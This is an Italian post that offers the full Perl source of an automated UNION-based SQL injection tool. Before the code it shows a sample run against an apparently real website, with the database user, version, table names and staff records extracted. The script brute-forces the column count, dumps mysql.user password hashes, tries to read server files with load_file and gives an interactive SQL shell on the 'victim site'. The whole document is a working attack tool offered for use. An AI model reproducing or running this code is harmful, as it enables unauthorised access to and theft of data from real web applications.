Script che consente di automatizzare una serie attacchi SQL injections per ottenere informazioni sul database ed essere in grado di sfruttare al meglio il bug.
Qui il codice:
DDocuments and Settings\Davide\Desktop>perl a.pl -u "http://www.luimo.org/news
.php?" -v id -n 7
----------------------------------------
SQL Injection Assistant v0.1 by girex
----------------------------------------
Testing if http://www.luimo.org/news.php? is vulnerable...
Vulnerable to id=1' AND 0 UNION ALL SELECT 0,1,2,concat(0x67697233782d7430306c,1
,0x67697233782d7430306c),4,5,6%23
----------------------------------------
User: luimo@localhost
MySQL version: 5.0.24-community-nt
Database name: luimo
Priviledge to access to mysql.user: no
Trying to load_file /etc/passwd.. FAILED
Retrieving tables of luimo...
Trovate 37 tabelle nel db luimo
Verranno visualizzate le prime 30:
lu_casi_clinici
lu_clienti
lu_clienti_tipo
lu_clienti_titolo
lu_corsi
lu_dl_categorie
lu_dl_indirizzi_categorie
lu_dl_messaggi
lu_dl_messaggi_inviati
lu_dl_templates
lu_dl_visite
lu_eventi
lu_immagini
lu_immagini_file
lu_immagini_testi
lu_lingue
lu_log_accessi
lu_log_documenti
lu_log_eventi
lu_log_sezioni
lu_mf_articoli
lu_mf_links
lu_mf_rassegna
lu_moduli_disponibili
lu_news
lu_pagine
lu_rassegna
lu_staff
lu_staff_attributi
lu_staff_x_attributo
Visualizzare le prossime 30? [y/n] n
Visualizzare le colonne di una tabella? y/n y
Show columns of table: lu_staff
id
id_staff_attributo
nominativo
titoli
posizione
Obtained a SQL "command line shell".
You can select only 1 field or function (ex. load_file(), concat()).
Type exit to quit from shell and terminate script.
SELECT> id
FROM> (press enter if none) lu_staff
WHERE> (press enter if none)
LIMIT> (press enter if none) 0,1
Query: SELECT id FROM lu_staff LIMIT 0,1
Output:
ST000002
SELECT> exit
DDocuments and Settings\Davide\Desktop>
Qui il codice:
Codice:
#!/usr/bin/perl
# SQL Injection Assistant v0.1 by girex 31/03/09
# Homepage: girex.altervista.org
use Getopt::Long;
use LWP::UserAgent;
my $lwp = new LWP::UserAgent;
my ($target_url, $bugged_var, $n_columns, $post_data, $cookie_data, $help, $proxy) = ();
my $match = "gir3x-t00l";
GetOptions(
'proxy=s' => \$proxy,
'u=s' => \$target_url,
'v=s' => \$bugged_var,
'n=i' => \$n_columns,
'p=s' => \$post_data,
'c=s' => \$cookie_data,
'h' => \$help
);
help() and exit if defined $help or not ($target_url and $bugged_var);
banner();
my $target = $target_url;
$target .= "?" unless $target_url =~ /http:\/\/.*\/.*\?/;
$lwp->default_header('Cookie' => $cookie_data) if defined $cookie_data;
$lwp->proxy('http', $proxy) or die "\nBad proxy" if defined $proxy;
$lwp->timeout(10);
my @quotes = ("1", "1'", '1"', "", "'", '"'); # .. "1)", "1')", '1")' ecc. add if need
if(defined $post_data)
{
%post_hash = make_hash($post_data);
}
$| = 1;
print "\nTesting if $target_url is vulnerable...\n\n";
if(defined $n_columns)
{
$g_pos = make_test($n_columns);
}
else
{
find_ncol();
}
if(not defined $g_pos)
{
print "\n", "-" x 40, "\n";
print "\nThere are some problems with the injection\n".
"tool attemped something like this and it seems to be not vulnerable:\n\n".
"GET: ${target}&${bugged_var}=${inj}\n\n";
print "POST: ${post_data}&${bugged_var}=${inj}\n"
if(defined $post_data);
print "\n", "-" x 40, "\n";
exit;
}
print "Vulnerable to ${bugged_var}=${inj}\n\n", "-" x 40, "\n\n";
my $dbuser = sql_select("USER()");
my $dbversion = sql_select("VERSION()");
my $db_name = sql_select("DATABASE()");
print "User: " . $dbuser . "\n";
print "MySQL version: " . $dbversion . "\n";
print "Database name: " . $db_name . "\n";
if(sql_select(1, "mysql.user"))
{
print "Priviledge to access to mysql.user: yes\n\n";
$_dbuser = $1 if $dbuser =~ /(\w+)@/;
if($pass = sql_select("Password", "mysql.user", "User='${_dbuser}'"))
{
print "User: $_dbuser\nPassword: $pass\n\n";
}
else
{
print "Seems that user $dbuser doesn't has a password!\n\n";
}
}
else
{
print "Priviledge to access to mysql.user: no\n\n";
}
print "Trying to load_file /etc/passwd.. ";
($loadfile = sql_select("load_file('/etc/fstab')")) ? print "SUCCESS\n\n" .$loadfile. "\n\n":
print "FAILED\n\n";
if( sql_select("1", "information_schema.tables") )
{
print "Retrieving tables of ${db_name}...\n\n";
my @tables = tables_info($db_name);
print "\nVisualizzare le colonne di una tabella? y/n ";
chomp(my $ans = <>);
if($ans =~ /^y|yes$/i)
{
do {
print "\nShow columns of table: ";
chomp($tb = <>);
print "Error: $tb is not in the tables's list!\n" if not in_array($tb, @tables);
}
while (not in_array($tb, @tables));
@columns = columns_info($tb);
}
}
else
{
print "Failed to access to information_schema. It doesn't exists.\n";
}
print "\nObtained a SQL \"command line shell\"\.\n";
print "You can select only 1 field or function (ex. load_file(), concat()).\n";
print "Type exit to quit from shell and terminate script.\n\n";
sql_shell();
sub sql_shell()
{
my @query = ();
while(1)
{
my @query = ();
print "SELECT> ";
chomp(my $uselect = <>);
exit if $uselect =~ /^exit$/i;
print "FROM> (press enter if none) ";
chomp(my $ufrom = <>);
print "WHERE> (press enter if none) ";
chomp(my $uwhere = <>);
print "LIMIT> (press enter if none) ";
chomp(my $ulimit = <>);
print "\n\nQuery: SELECT $uselect ";
push(@query, $uselect);
print "FROM $ufrom " and push(@query, $ufrom) if $ufrom;
print "WHERE $uwhere " and push(@query, $uwhere) if $uwhere;
if($ulimit)
{
print "LIMIT $ulimit";
if(not $uwhere)
{
push(@query, undef);
push(@query, $ulimit);
}
else
{
push(@query, $ulimit);
}
}
print "\nOutput: \n\n", sql_select( @query ), "\n\n";
}
}
sub find_ncol()
{
my $i = 1, $n = 1;
$g_pos = undef;
do
{
print STDOUT "Testing UNION with $i columns...\r";
$n_columns = $i;
$g_pos = make_test($i);
$i++;
if( $i > 30 * $n and not $g_pos)
{
print "No results with ", $i * ($n - 1) + 1,
" to ", $i * $n - 1, " columns. Continue for other 30? y/n ";
chomp(my $ans = <>);
print "\n" x 2;
if($ans =~ /^y|yes$/i)
{
$n++;
}
else
{
print "Error: SQL Injection failed!\n" and exit if not $g_pos;
last;
}
}
} while( not $g_pos );
}
sub columns_info()
{
my $i = 0;
my $tb_name = shift;
my @rv_columns = ();
do {
$c_name = sql_select("column_name", "information_schema.columns",
"table_name='${tb_name}'", "${i},1", $g_pos);
if(defined $c_name)
{
print STDOUT "\n", $c_name;
push(@rv_columns, $c_name);
}
$i++;
} while(defined $c_name);
print "\n" x 1;
return @columns;
}
sub tables_info()
{
my $i = 1, $n = 1;
my $dbname = shift;
my @rv_tables = ();
if($dbname !~ /DATABASE\(\)/i)
{
$dbname = "'". $dbname ."'";
}
my $count = sql_select("COUNT(*)", "information_schema.tables",
"TABLE_SCHEMA=${dbname}");
if($count > 30)
{
print "Trovate $count tabelle nel db $db_name\n",
"Verranno visualizzate le prime 30:\n\n";
}
do {
$tb_name = sql_select("table_name", "information_schema.tables",
"TABLE_SCHEMA=${dbname}", "${i},1");
if(defined $tb_name)
{
print STDOUT $tb_name, "\n";
push(@rv_tables, $tb_name);
}
$i++;
if($i > $n * 30)
{
$n++;
print "\nVisualizzare le prossime 30? [y/n] ";
chomp($ans = <>);
print "\n";
$tb_name = undef if $ans =~ /^n|no$/i;
}
} while(defined $tb_name);
return @rv_tables;
}
sub sql_select(@)
{
my $r_select = undef;
our $inj = make_inj( @_ );
if(defined $post_data)
{
$post_hash{$bugged_var} = $inj;
$res = $lwp->post($target ."&${bugged_var}=${inj}", %post_hash);
}
else
{
$res = $lwp->get($target."&${bugged_var}=${inj}");#, %post_hash);
}
if($res->is_success)
{
$r_select = $1 if $res->content =~ /gir3x-t00l(.+)gir3x-t00l/;
if($res->content =~ /gir3x-t00l/ and $res->content !~ /gir3x-t00l(.+)gir3x-t00l/)
{
my $out = $res->content;
my $_out = substr($out, index($out, 'gir3x-t00l') + 10);
my $n = index($_out, 'gir3x-t00l');
my $__out = substr($_out, 0, $n);
$r_select = $__out;
}
}
else
{
print $res->status_line, "\n";
exit;
}
return $r_select;
}
sub make_test()
{
my $n_col = shift;
$n_columns = $n_col;
for(my $i = 0; $i < $n_col; $i++)
{
foreach $q(@quotes)
{
$quote = $q;
return $i if sql_select('1', undef, undef, undef, $i);
}
}
return undef;
}
sub make_hash()
{
my %hash = ();
my $data = shift;
@vars = split('&', $data);
foreach $v(@vars)
{
($key, $value) = split('=', $v);
$hash{$key} = $value;
}
return %hash;
}
sub make_inj()
{
my $str = undef;
my ($select, $from, $where, $limit, $pos) = @_;
$pos = $g_pos if not defined $pos;
if($select =~ /(.*)['|"](.*)['|"](.*)/)
{
$select = $1 .hex_str( $2 ). $3;
}
if($where =~ /(.*)['|"](.*)['|"](.*)/)
{
$where = $1 .hex_str( $2 ). $3;
}
$str = "${quote} AND 0 UNION ALL SELECT ";
for(my $i = 0; $i < $n_columns; $i++)
{
$str .= ($i == $pos) ? "concat(". hex_str($match).",${select},".hex_str($match).")" : "$i";
$str .= ',' unless $i == $n_columns - 1;
}
$str .= " FROM ${from} " if defined $from;
$str .= "WHERE ${where} " if defined $where;
$str .= "LIMIT ${limit}" if defined $limit;
$str .= "%23";
return $str;
}
sub in_array()
{
my $find = shift;
my @array = @_;
foreach $x(@array)
{
return 1 if $tb eq $x;
}
return undef;
}
sub hex_str()
{
return '0x'. unpack("H*", shift);
}
sub banner
{
print "\n", "-" x 40, "\n\nSQL Injection Assistant v0.1 by girex\n\n", "-" x 40, "\n";
}
sub help
{
banner();
print qq(
usage: perl $0 -u [target_url] -v [bugged_var] -n [columns_number] [OPTIONS]
example: perl $0 -u http://localhost/index.php?module=forum -v id -n 14
ATTENZIONE! I parametri -u, -v sono OBBLIGATORI!
E' tuttavia raccomandato specificare anche il parametro -n
-u : usare questo parametro per specificare l'url del sito vittima
example: -u http://localhost/index.php?module=forum
-v : usare questo parametro per specificare la variabile buggata GET o POST
example: -v forum_id
-n : usare questo parametro per specificare il numero di colonne della UNION
example: -n 11
-p : usare questo parametro per mandare dati aggiuntivi via POST
example: -p order=ALL&Submit=invia
-c : usare questo parametro per mandare dati aggiuntivi via COOKIE
example: -c memberid=1; membercookie=Fshsj;
-proxy: usare questo parametro per utilizzare un proxy
example: -proxy 89.89.89.89:80
);
print "\n", "-" x 40, "\n";
}